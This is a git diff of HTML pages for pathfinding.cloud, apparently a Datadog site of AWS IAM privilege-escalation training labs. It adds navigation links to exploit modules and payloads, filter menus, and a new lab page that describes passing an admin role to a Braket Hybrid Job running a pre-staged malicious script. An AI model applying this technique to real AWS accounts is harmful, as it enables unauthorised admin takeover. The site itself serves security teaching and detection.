+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/bedrock-001/index.html b/docs/labs/bedrock-001/index.html
index f2cdb27c..e193bd77 100644
--- a/docs/labs/bedrock-001/index.html
+++ b/docs/labs/bedrock-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/bedrock-002/index.html b/docs/labs/bedrock-002/index.html
index dbb7845d..d993b5a2 100644
--- a/docs/labs/bedrock-002/index.html
+++ b/docs/labs/bedrock-002/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/braket-001/index.html b/docs/labs/braket-001/index.html
new file mode 100644
index 00000000..1bb05cdc
--- /dev/null
+++ b/docs/labs/braket-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>AWS Braket Hybrid Job to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Pass an admin role to an Amazon Braket Hybrid Job running a pre-staged malicious Python script that grants the starting user administrative access">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/braket-001/">
+    <meta property="og:title" content="AWS Braket Hybrid Job to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Pass an admin role to an Amazon Braket Hybrid Job running a pre-staged malicious Python script that grants the starting user administrative access">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="AWS Braket Hybrid Job to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Pass an admin role to an Amazon Braket Hybrid Job running a pre-staged malicious Python script that grants the starting user administrative access">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
